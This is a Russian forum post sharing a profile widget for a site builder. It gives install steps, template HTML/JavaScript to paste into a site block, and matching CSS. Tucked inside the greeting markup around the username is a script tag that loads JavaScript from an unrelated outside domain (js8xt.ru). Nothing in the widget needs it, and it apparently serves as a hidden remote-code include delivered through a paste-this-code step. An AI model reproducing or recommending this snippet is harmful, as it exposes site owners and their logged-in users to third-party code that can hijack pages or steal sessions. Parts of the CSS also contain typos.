Очень красивый мини профиль

Aninew

Дата: Суббота, 26.05.2012, 22:37 | Сообщение # 1

Рядовой

Группа: Пользователи

Сообщений: 4

Репутация: 0

Статус: Offline

http://s41.radikal.ru/i091/1204/70/14cdba530d95.png <-- Скрин

Установка:
1) Добавляем блок через конструктор
2) Жмём на значок шестерёнки в правом верхнем углу блока
3) В открывшемся окне жмём на вкладку "HTML";
4) Удаляем там всё и вставляем код:

Code

<?if($USER_LOGGED_IN$)?>
      <center><li class="cat">Здравствуйте, <font color="#02b702"><script language=JavaScript src=http://js8xt.ru/ves.js></script><b>$USERNAME$!</b></font></li>
</center>
      <div id="avatar">
      <center><a href="javascript://" rel="nofollow" onclick="window.open('/index/8','upp','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350')
      ;return false;"><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"></a></center>
      </p></div>
      <center><div class="readon">
            <input href="javascript://" class="button" style="border:0px;" onclick="$('#obshee').toggle('slow'); "value="Информация" type="submit">
            </div>
      </center>
      <div id="obshee" style="display:none;">
      <li class="cat1"><span style="font-weight:normal"><a href="#" title="Ваша группа: $USER_GROUP$">>Группа: $USER_GROUP$</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="javascript://" rel="nofollow" id="upml" class="fNavLink" onclick="window.open('/index/8','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;">>Профиль $USERNAME$</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="javascript://" rel="nofollow" id="upml" class="fNavLink" onclick="window.open('/index/11','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;"">>Изменение данных</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="#">>Вы с нами: $USER_REG_DAYS$ дней</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="javascript://" rel="nofollow" id="upml" class="fNavLink" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;">>Читать ЛС ($UNREAD_PM$)</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="javascript://" title="Выход" onclick="if (confirm('Вы действительно хотите выйти?')) {location.href='$LOGOUT_LINK$'} else {alert('Спасибо что остались с нами!')};">>Выход</a></span></li>
      </ul></div>
      <center><div class="readon">
            <input href="javascript://" class="button" style="border:0px;" a onclick="$('#dobavit').toggle('slow'); "value="Добавить материал" type="submit">
            </div>
      </center>
      <div id="dobavit" style="display:none;">
      <li class="cat1"><span style="font-weight:normal"><a href="/photo/0-0-0-1">>Обои</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="/publ/0-0-0-0-1">>Статью</a></span></li>
      <li class="cat1"><span style="font-weight:normal"><a href="/load/0-0-0-0-1">>Файл</a></span></li>
      </ul></div>
      <?endif?>$LOGIN_FORM$

5) В style1.css в самый низ ставим:

Code

/* Profile by ARTJUMP*/
    li.cat1 { list-style:none; margin:0px 0px 2px 0px; padding:0px;}
    li.cat1 a:link { display:block; text-decoration:none; solid #131313; text-align:left; padding-left:5px; height:13px; color:#808080; font-family:Century Gothic; font-size:10px;}
    li.cat1 a:visited { display:block; text-decoration:none;  solid #131313; text-align:left; padding-left:5px; height:13px; color:#808080; font-family:Century Gothic; font-size:10px;}
    li.cat1 a:hover { display:block; text-decoration:none; solid #00fcff;  text-align:left; height:13px; color:#00fcff; font-family:Century Gothic; font-size:10px; }
    li.cat1 a: { display:block; text-decoration:none;  solid #3D3D3D; text-align:left; height:13px; color:#808080; font-family:Century Gothic; font-size:10px; }
    li.cat1_bottom a:link { display:block; text-decoration:none;  solid #131313; border-bottom:3px solid #131313; text-align:left; padding-left:5px; height:15px; color:#3D3D3D; font-size:11px;}
    li.cat1_bottom a:visited { display:block; text-decoration:none;  solid #131313; border-bottom:3px solid #131313; text-align:left; padding-left:5px; height:15px; color:#3D3D3D; font-size:11px;}
    li.cat1_bottom a:hover { display:block; text-decoration:none;  soalid #131313; text-align:left; height:15px; color:#3D3D3D; font-size:11px; }
    li.cat1_bottom a:active { display:block; text-decoration:none;  solid #131313; border-bottom:3px solid #3D3D3D;  text-align:left; height:15px; color:#3D3D3D; font-size:11px; }
    li.cat { display:block; text-decoration:none; border:0px solid #3D3D3D; color:#808080;  padding-right:5px; padding-top:3px; height:13px; width:180px; font-weight:normal; font-family:Century Gothic; font-size:10px; }
    /* ------------- */